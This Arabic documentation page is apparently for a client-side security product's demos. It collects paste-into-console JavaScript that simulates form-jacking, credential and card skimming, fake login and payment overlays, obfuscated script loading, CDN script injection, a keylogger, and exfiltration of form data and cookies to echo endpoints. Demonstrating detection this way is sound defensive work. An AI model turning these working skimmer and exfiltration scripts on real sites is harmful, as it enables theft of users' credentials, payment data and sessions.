تخطَّ إلى المحتوى

مكتبة نصوص الهجوم

توفر هذه الصفحة مكتبة من نصوص محاكاة الهجوم مصنّفة حسب الفئة. كل نص عبارة عن دالة ذاتية التنفيذ (IIFE) مصممة للصق في وحدة تحكم DevTools بالمتصفح على تطبيق العرض التوضيحي. استخدم هذه النصوص لممارسة قدرات اكتشاف CSD المحددة أثناء عروض العملاء.

تتبع جميع النصوص في هذه المكتبة هذه الاتفاقيات:

  • صيغة IIFE — ذاتية التنفيذ، الصق وشغّل في وحدة تحكم DevTools
  • أهداف استخراج آمنةwww.httpbin.org، jsonplaceholder.typicode.com
  • مصادر نصوص آمنةcdn.jsdelivr.net، esm.sh، unpkg.com، ga.jspm.io (تحميل مكتبات غير ضارة)
  • mode: 'no-cors' على جميع استدعاءات fetch
  • تصريحات var لتوافق وحدة التحكم
  • مخرجات وحدة التحكم مسبوقة بـ [CSD Demo] وعلامة فئة
  • لا حمولات ضارة فعلية

1. اختطاف النماذج وحصاد بيانات الاعتماد

Section titled “1. اختطاف النماذج وحصاد بيانات الاعتماد”

كاشف بيانات اعتماد صفحة تسجيل الدخول

Section titled “كاشف بيانات اعتماد صفحة تسجيل الدخول”

الصفحة المستهدفة: /#/login — أدخل بيانات اعتماد وهمية قبل التشغيل

إشارات CSD: قراءات حقول النماذج (البريد الإلكتروني، كلمة المرور)، الشبكة (fetch إلى نطاقات خارجية)

Login Credential Skimmer
// CSD Demo — Login Credential Skimmer
(function() {
console.log('[CSD Demo][Formjack] Starting login credential skimmer...');
// Read existing form fields (CSD detects field reads on page-load DOM fields)
var inputs = document.querySelectorAll('input');
var creds = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
creds[name] = input.value || '(empty)';
});
console.log('[CSD Demo][Formjack] Harvested credentials:', creds);
// Exfiltrate via fetch
var payload = JSON.stringify({ type: 'login_harvest', data: creds, timestamp: Date.now() });
fetch('https://www.httpbin.org/post', {
method: 'POST',
mode: 'no-cors',
body: payload
}).then(function() {
console.log('[CSD Demo][Formjack] Credentials exfiltrated to www.httpbin.org');
});
console.log('[CSD Demo][Formjack] Simulation complete.');
})();

التحقق في وحدة تحكم CSD:

  • قائمة النصوص — نصوص التطبيق (مثل main.js) مُصنَّفة كخطر مرتفع لقراءة حقلَي البريد الإلكتروني وكلمة المرور
  • حقول النماذج — يظهر البريد الإلكتروني وكلمة المرور كحقول حساسة (بواسطة النظام)

كاشط بيانات صفحة التسجيل

Section titled “كاشط بيانات صفحة التسجيل”

الصفحة المستهدفة: /#/register — أكمل جميع الحقول قبل التشغيل

إشارات CSD: قراءات حقول النماذج (البريد الإلكتروني، كلمة المرور، سؤال الأمان)

Registration Page Harvester
// CSD Demo — Registration Page Harvester
(function() {
console.log('[CSD Demo][Formjack] Starting registration harvester...');
var inputs = document.querySelectorAll('input, select');
var data = {};
inputs.forEach(function(el) {
var name = el.name || el.id || el.type || el.tagName;
data[name] = el.value || '(empty)';
});
console.log('[CSD Demo][Formjack] Registration data harvested:', data);
var payload = JSON.stringify({ type: 'registration_harvest', data: data, timestamp: Date.now() });
fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST',
mode: 'no-cors',
headers: { 'Content-Type': 'application/json' },
body: payload
}).then(function() {
console.log('[CSD Demo][Formjack] Registration data exfiltrated to jsonplaceholder.typicode.com');
});
console.log('[CSD Demo][Formjack] Simulation complete.');
})();

التحقق في وحدة تحكم CSD:

  • حقول النماذج — تظهر حقول التسجيل مع تصنيف الحساسية
  • قائمة النصوص — النصوص التي تقرأ حقول التسجيل مُصنَّفة للمراجعة

كاشط بطاقات الدفع في صفحة الدفع

Section titled “كاشط بطاقات الدفع في صفحة الدفع”

الصفحة المستهدفة: /#/login (تتطلب صفحة دفع Juice Shop المصادقة — استخدم صفحة تسجيل الدخول لإظهار تقنية التراكب)

إشارات CSD: حقن النصوص (نموذج تراكب)، قراءات حقول النماذج (الحقول الأصلية)

Payment Card Skimmer (Overlay)
// CSD Demo — Payment Card Skimmer (Overlay Technique)
(function() {
console.log('[CSD Demo][Skim] Starting payment card skimmer simulation...');
// Step 1: Read existing form fields first
var inputs = document.querySelectorAll('input');
var existing = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
existing[name] = input.value || '(empty)';
});
console.log('[CSD Demo][Skim] Existing fields harvested:', existing);
// Step 2: Inject a fake overlay form (CSD detects the script injection)
var overlay = document.createElement('div');
overlay.id = 'csd-demo-overlay';
overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:99999;display:flex;align-items:center;justify-content:center;';
overlay.innerHTML = '<div style="background:white;padding:30px;border-radius:8px;max-width:400px;width:100%;">' +
'<h3 style="margin:0 0 15px;color:#333;">Payment Verification Required</h3>' +
'<p style="color:#666;font-size:14px;">Session expired. Re-enter payment details.</p>' +
'<div style="margin:10px 0;padding:8px;border:1px solid #ccc;border-radius:4px;color:#999;">4111-XXXX-XXXX-1111</div>' +
'<div style="margin:10px 0;padding:8px;border:1px solid #ccc;border-radius:4px;color:#999;">CVV: ***</div>' +
'<div style="text-align:right;margin-top:15px;">' +
'<button onclick="document.getElementById(\'csd-demo-overlay\').remove();console.log(\'[CSD Demo][Skim] Overlay dismissed\');" style="padding:8px 20px;background:#4CAF50;color:white;border:none;border-radius:4px;cursor:pointer;">Verify</button></div></div>';
document.body.appendChild(overlay);
console.log('[CSD Demo][Skim] Fake payment overlay injected into DOM');
// Step 3: Exfiltrate captured data
var payload = JSON.stringify({ type: 'card_skim', captured: existing, timestamp: Date.now() });
fetch('https://www.httpbin.org/post', {
method: 'POST',
mode: 'no-cors',
body: payload
}).then(function() {
console.log('[CSD Demo][Skim] Skimmed data exfiltrated to www.httpbin.org');
});
console.log('[CSD Demo][Skim] Simulation complete. Click "Verify" on the overlay to dismiss it.');
})();
Payment overlay injected by card skimmer scriptPayment overlay injected by card skimmer script

التحقق في وحدة تحكم CSD:

  • قائمة النصوص — نصوص مُصنَّفة لتلاعب DOM وقراءات الحقول
  • حقول النماذج — تظهر حقول الصفحة الأصلية مع نشاط القراءة

محمّل متعدد المراحل مُبهَم الشفرة

Section titled “محمّل متعدد المراحل مُبهَم الشفرة”

الصفحة المستهدفة: أي صفحة في الموقع التوضيحي

إشارات CSD: حقن النصوص (الحمولة المفككة تُنشئ علامة نص جديدة)

Multi-Stage Obfuscated Loader
// CSD Demo — Multi-Stage Obfuscated Loader
(function() {
console.log('[CSD Demo][Skim] Starting obfuscated loader simulation...');
// Stage 1: Base64-encoded script URL (simulates obfuscation)
var encoded = btoa('https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js');
console.log('[CSD Demo][Skim] Stage 1: Encoded payload:', encoded);
// Stage 2: Decode and inject
var decoded = atob(encoded);
console.log('[CSD Demo][Skim] Stage 2: Decoded URL:', decoded);
var script = document.createElement('script');
script.src = decoded;
script.onload = function() {
console.log('[CSD Demo][Skim] Stage 3: Decoded script loaded successfully from', decoded);
};
script.onerror = function() {
console.log('[CSD Demo][Skim] Stage 3: Script load attempted (may be blocked by CSP)');
};
document.head.appendChild(script);
console.log('[CSD Demo][Skim] Simulation complete. CSD detects the injected script tag regardless of encoding.');
})();

التحقق في وحدة تحكم CSD:

  • قائمة النصوص — يظهر نص cdn.jsdelivr.net كإدخال جديد
  • الشبكة — نطاق cdn.jsdelivr.net مُدرج

3. سلسلة التوريد وحقن النصوص

Section titled “3. سلسلة التوريد وحقن النصوص”

الصفحة المستهدفة: أي صفحة في الموقع التوضيحي

إشارات CSD: حقن النصوص (4 علامات نص من جهات خارجية جديدة)، الشبكة (4 نطاقات جديدة)

Multi-CDN Script Injection
// CSD Demo — Multi-CDN Script Injection
(function() {
console.log('[CSD Demo][Supply Chain] Starting multi-CDN injection...');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.type = 'module';
script.onload = function() {
console.log('[CSD Demo][Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
};
script.onerror = function() {
console.log('[CSD Demo][Supply Chain] Load attempted from ' + cdn.name + ' (may be blocked)');
};
document.head.appendChild(script);
console.log('[CSD Demo][Supply Chain] Injected script tag: ' + cdn.name);
});
console.log('[CSD Demo][Supply Chain] 4 third-party scripts injected. CSD will detect all 4 new domains.');
})();

التحقق في وحدة تحكم CSD:

  • قائمة النصوص — 4 إدخالات نصوص جديدة من cdn.jsdelivr.net، esm.sh، unpkg.com، ga.jspm.io
  • الشبكة — تظهر جميع نطاقات الـ 4 شبكات CDN في قائمة جميع النطاقات

محاكاة اختطاف مدير العلامات

Section titled “محاكاة اختطاف مدير العلامات”

الصفحة المستهدفة: أي صفحة في الموقع التوضيحي

إشارات CSD: حقن النصوص (نص تحليلات/مدير علامات مزيف)

Tag Manager Hijack
// CSD Demo — Tag Manager Hijack
(function() {
console.log('[CSD Demo][Supply Chain] Starting tag manager hijack simulation...');
// Simulate a compromised tag manager loading a malicious analytics script
var fakeTag = document.createElement('script');
fakeTag.src = 'https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js';
fakeTag.setAttribute('data-tag-manager', 'hijacked');
fakeTag.onload = function() {
console.log('[CSD Demo][Supply Chain] Fake analytics script loaded via tag manager hijack');
// After loading, read form fields (simulating data collection by compromised tag)
var inputs = document.querySelectorAll('input');
var collected = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
collected[name] = input.value || '(empty)';
});
console.log('[CSD Demo][Supply Chain] Compromised tag collected form data:', collected);
};
fakeTag.onerror = function() {
console.log('[CSD Demo][Supply Chain] Script load attempted (may be blocked)');
};
document.head.appendChild(fakeTag);
console.log('[CSD Demo][Supply Chain] Tag manager hijack simulation complete.');
})();

التحقق في وحدة تحكم CSD:

  • قائمة النصوص — نص جديد من cdn.jsdelivr.net بمسار chart.js
  • حقول النماذج — إذا تم التشغيل على صفحة تحتوي على نماذج، يزداد نشاط قراءة الحقول

4. قنوات استخراج البيانات

Section titled “4. قنوات استخراج البيانات”

الصفحة المستهدفة: /#/login — أدخل بيانات اعتماد وهمية قبل التشغيل

إشارات CSD: قراءات حقول النماذج، الشبكة (نطاق مصدر fetch)

Multi-Channel Exfiltration
// CSD Demo — Multi-Channel Exfiltration
(function() {
console.log('[CSD Demo][Exfil] Starting multi-channel exfiltration...');
// Harvest form fields
var inputs = document.querySelectorAll('input');
var data = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
data[name] = input.value || '(empty)';
});
console.log('[CSD Demo][Exfil] Data harvested:', data);
var payload = JSON.stringify({ type: 'multi_channel', data: data, timestamp: Date.now() });
// Channel 1: Fetch POST
fetch('https://www.httpbin.org/post', {
method: 'POST',
mode: 'no-cors',
body: payload
}).then(function() {
console.log('[CSD Demo][Exfil] Channel 1 (fetch POST) sent to www.httpbin.org');
});
// Channel 2: Image beacon
var img = new Image();
img.src = 'https://www.httpbin.org/get?data=' + encodeURIComponent(payload).substring(0, 200);
img.onload = function() { console.log('[CSD Demo][Exfil] Channel 2 (image beacon) sent to www.httpbin.org'); };
img.onerror = function() { console.log('[CSD Demo][Exfil] Channel 2 (image beacon) attempted'); };
console.log('[CSD Demo][Exfil] Channel 2 (image beacon) initiated');
// Channel 3: Link prefetch
var link = document.createElement('link');
link.rel = 'prefetch';
link.href = 'https://jsonplaceholder.typicode.com/posts?exfil=' + encodeURIComponent(payload).substring(0, 200);
document.head.appendChild(link);
console.log('[CSD Demo][Exfil] Channel 3 (link prefetch) injected');
console.log('[CSD Demo][Exfil] 3 exfil channels attempted. Note: CSD Network view tracks script source domains, not fetch/beacon destinations.');
})();

التحقق في وحدة تحكم CSD:

  • حقول النماذج — تظهر حقلا البريد الإلكتروني وكلمة المرور مع نشاط القراءة
  • قائمة النصوص — نصوص التطبيق مُصنَّفة لقراءات الحقول

استخراج بيانات عالي الحجم عبر نطاقات متعددة

Section titled “استخراج بيانات عالي الحجم عبر نطاقات متعددة”

الصفحة المستهدفة: /#/login — أدخل بيانات اعتماد وهمية قبل التشغيل

إشارات CSD: قراءات حقول النماذج، حقن النصوص (علامات نصوص من نطاقات متعددة)

High-Volume Domain Exfiltration
// CSD Demo — High-Volume Domain Exfiltration
(function() {
console.log('[CSD Demo][Exfil] Starting high-volume exfiltration simulation...');
// Harvest form data
var inputs = document.querySelectorAll('input');
var data = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
data[name] = input.value || '(empty)';
});
console.log('[CSD Demo][Exfil] Data harvested:', data);
// Inject scripts from multiple CDN domains (these WILL appear in CSD Network view)
var sources = [
'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js',
'https://esm.sh/moment@2.30.1',
'https://unpkg.com/underscore@1.13.7/underscore-min.js',
'https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js',
'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js'
];
sources.forEach(function(src, i) {
var script = document.createElement('script');
script.src = src;
script.type = 'module';
script.onload = function() {
console.log('[CSD Demo][Exfil] Script ' + (i + 1) + '/' + sources.length + ' loaded: ' + src);
};
script.onerror = function() {
console.log('[CSD Demo][Exfil] Script ' + (i + 1) + ' load attempted');
};
document.head.appendChild(script);
});
// Also send via fetch to safe endpoints
var payload = JSON.stringify({ type: 'high_volume', data: data, timestamp: Date.now() });
fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload });
fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', body: payload });
console.log('[CSD Demo][Exfil] ' + sources.length + ' script injections + 2 fetch channels. Script domains will appear in CSD Network view.');
})();

التحقق في وحدة تحكم CSD:

  • قائمة النصوص — 5 إدخالات نصوص جهات خارجية جديدة
  • الشبكة — نطاقات cdn.jsdelivr.net، esm.sh، unpkg.com، ga.jspm.io مُدرجة
  • حقول النماذج — تظهر حقول تسجيل الدخول مع نشاط القراءة

الصفحة المستهدفة: /#/login

إشارات CSD: قراءات حقول النماذج (تقرأ الحقول الأصلية قبل التراكب)

Form Overlay Attack
// CSD Demo — Form Overlay Attack
(function() {
console.log('[CSD Demo][DOM] Starting form overlay attack...');
// Read the real form fields first
var inputs = document.querySelectorAll('input');
var realData = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
realData[name] = input.value || '(empty)';
});
console.log('[CSD Demo][DOM] Real form data captured:', realData);
// Find the form container and overlay it
var form = document.querySelector('form') || document.querySelector('[class*="login"]') || document.querySelector('mat-card');
if (form) {
var rect = form.getBoundingClientRect();
var overlay = document.createElement('div');
overlay.id = 'csd-demo-form-overlay';
overlay.style.cssText = 'position:fixed;top:' + rect.top + 'px;left:' + rect.left + 'px;width:' + rect.width + 'px;height:' + rect.height + 'px;background:white;z-index:99999;display:flex;flex-direction:column;justify-content:center;padding:20px;box-sizing:border-box;border:2px solid #e0e0e0;border-radius:8px;';
overlay.innerHTML = '<h4 style="margin:0 0 10px;color:#333;">Sign In</h4>' +
'<input type="email" placeholder="Email" style="margin:5px 0;padding:8px;border:1px solid #ccc;border-radius:4px;" />' +
'<input type="password" placeholder="Password" style="margin:5px 0;padding:8px;border:1px solid #ccc;border-radius:4px;" />' +
'<button onclick="document.getElementById(\'csd-demo-form-overlay\').remove();console.log(\'[CSD Demo][DOM] Overlay dismissed\');" style="margin-top:10px;padding:8px;background:#1976d2;color:white;border:none;border-radius:4px;cursor:pointer;">Log in</button>';
document.body.appendChild(overlay);
console.log('[CSD Demo][DOM] Transparent overlay form placed over real login form');
} else {
console.log('[CSD Demo][DOM] No form container found — overlay skipped');
}
console.log('[CSD Demo][DOM] Simulation complete. The overlay captures input instead of the real form.');
})();
Fake login form overlaying the real formFake login form overlaying the real form

التحقق في وحدة تحكم CSD:

  • حقول النماذج — تظهر حقلا البريد الإلكتروني وكلمة المرور الأصليان مع نشاط القراءة
  • قائمة النصوص — نصوص مُصنَّفة للوصول إلى حقول النماذج

محاكاة برنامج تسجيل المفاتيح

Section titled “محاكاة برنامج تسجيل المفاتيح”

الصفحة المستهدفة: /#/login

إشارات CSD: قراءات حقول النماذج (تصل إلى عناصر الإدخال لإرفاق المستمعين)

Keylogger Simulation
// CSD Demo — Keylogger Simulation
(function() {
console.log('[CSD Demo][DOM] Starting keylogger simulation...');
var keyBuffer = [];
var flushInterval = 5000;
// Attach keydown listener to capture keystrokes
document.addEventListener('keydown', function(e) {
keyBuffer.push({
key: e.key,
target: (e.target.name || e.target.id || e.target.tagName),
timestamp: Date.now()
});
if (keyBuffer.length >= 10) {
console.log('[CSD Demo][DOM] Keylogger buffer (last 10 keys):', JSON.parse(JSON.stringify(keyBuffer.slice(-10))));
}
});
console.log('[CSD Demo][DOM] Keydown listener attached to document');
// Also read current form field values
var inputs = document.querySelectorAll('input');
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
console.log('[CSD Demo][DOM] Monitoring field: ' + name + ' (current value: ' + (input.value || '(empty)') + ')');
});
// Periodic flush simulation
var flushCount = 0;
var interval = setInterval(function() {
flushCount++;
if (keyBuffer.length > 0) {
console.log('[CSD Demo][DOM] Keylogger flush #' + flushCount + ':', keyBuffer.length, 'keystrokes captured');
fetch('https://www.httpbin.org/post', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({ type: 'keylog', keys: keyBuffer, timestamp: Date.now() })
});
keyBuffer = [];
}
if (flushCount >= 6) {
clearInterval(interval);
console.log('[CSD Demo][DOM] Keylogger simulation ended (30s max duration)');
}
}, flushInterval);
console.log('[CSD Demo][DOM] Keylogger active for 30 seconds. Type in form fields to see captured output.');
})();

التحقق في وحدة تحكم CSD:

  • حقول النماذج — تظهر حقول الإدخال مع نشاط القراءة من النص المراقب
  • قائمة النصوص — نصوص مُصنَّفة للوصول إلى قيم حقول النماذج

يجمع هذا النص جميع متجهات الهجوم في IIFE واحدة — نص “العرض التوضيحي النهائي”. شغّل هذا النص عندما تريد تشغيل كل إشارة اكتشاف في CSD في تنفيذ واحد.

الصفحة المستهدفة: /#/login — أدخل بيانات اعتماد وهمية قبل التشغيل

إشارات CSD: قراءات حقول النماذج، حقن النصوص (4 نطاقات CDN)، الشبكة (4 نطاقات جديدة)

Maximum Detection — Combined Stress Test
// CSD Demo — Maximum Detection (Combined Stress Test)
(function() {
console.log('='.repeat(60));
console.log('[CSD Demo] MAXIMUM DETECTION — Combined Stress Test');
console.log('='.repeat(60));
// Phase 1: Form Field Harvesting
console.log('\n--- Phase 1: Form Field Harvesting ---');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
console.log('[CSD Demo][Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
// Phase 2: Multi-CDN Script Injection
console.log('\n--- Phase 2: Supply Chain — Multi-CDN Injection ---');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr (lodash)' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh (moment)' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg (underscore)' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm (dayjs)' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.type = 'module';
script.onload = function() {
console.log('[CSD Demo][Supply Chain] Loaded: ' + cdn.name);
};
script.onerror = function() {
console.log('[CSD Demo][Supply Chain] Load attempted: ' + cdn.name);
};
document.head.appendChild(script);
console.log('[CSD Demo][Supply Chain] Injected: ' + cdn.name);
});
// Phase 3: Data Exfiltration (multiple channels)
console.log('\n--- Phase 3: Data Exfiltration ---');
var payload = JSON.stringify({
type: 'max_detection',
credentials: harvested,
page: window.location.href,
cookies: document.cookie,
timestamp: Date.now()
});
// Fetch POST
fetch('https://www.httpbin.org/post', {
method: 'POST',
mode: 'no-cors',
body: payload
}).then(function() {
console.log('[CSD Demo][Exfil] Fetch POST sent to www.httpbin.org');
});
// Fetch POST (second endpoint)
fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST',
mode: 'no-cors',
headers: { 'Content-Type': 'application/json' },
body: payload
}).then(function() {
console.log('[CSD Demo][Exfil] Fetch POST sent to jsonplaceholder.typicode.com');
});
// Image beacon
var img = new Image();
img.src = 'https://www.httpbin.org/get?beacon=' + encodeURIComponent(payload).substring(0, 200);
console.log('[CSD Demo][Exfil] Image beacon sent to www.httpbin.org');
// Phase 4: DOM Manipulation
console.log('\n--- Phase 4: DOM Manipulation ---');
var banner = document.createElement('div');
banner.id = 'csd-demo-banner';
banner.style.cssText = 'position:fixed;top:0;left:0;width:100%;padding:12px;background:#d32f2f;color:white;text-align:center;z-index:99999;font-family:sans-serif;font-size:14px;';
banner.innerHTML = 'CSD Demo: Attack simulation active — ' + cdns.length + ' scripts injected, ' + Object.keys(harvested).length + ' fields harvested ' +
'<button onclick="document.getElementById(\'csd-demo-banner\').remove();" style="margin-left:15px;padding:4px 12px;background:white;color:#d32f2f;border:none;border-radius:3px;cursor:pointer;">Dismiss</button>';
document.body.appendChild(banner);
console.log('[CSD Demo][DOM] Attack status banner injected');
// Summary
console.log('\n' + '='.repeat(60));
console.log('[CSD Demo] SIMULATION COMPLETE');
console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (from ' + cdns.length + ' CDN domains)');
console.log('[CSD Demo] Exfil channels: 3 (2x fetch + 1x image beacon)');
console.log('[CSD Demo] Detection takes 5-10 minutes to appear in CSD console.');
console.log('='.repeat(60));
})();
Console output from maximum detection scriptConsole output from maximum detection script

التحقق في وحدة تحكم CSD (بعد 5-10 دقائق):

  • لوحة التحكم — يرتفع عداد المعاملات المستهلكة
  • قائمة النصوص — نصوص التطبيق مُصنَّفة كخطر مرتفع؛ 4 نصوص جهات خارجية جديدة من نطاقات CDN
  • حقول النماذج — البريد الإلكتروني وكلمة المرور مصنَّفان كحساسَين (بواسطة النظام) مع نشاط القراءة
  • الشبكة — تظهر نطاقات cdn.jsdelivr.net، esm.sh، unpkg.com، ga.jspm.io في جميع النطاقات
  • المستخدمون المتأثرون — تظهر جلستك مع عنوان IP والموقع الجغرافي والمتصفح ومعلومات الجهاز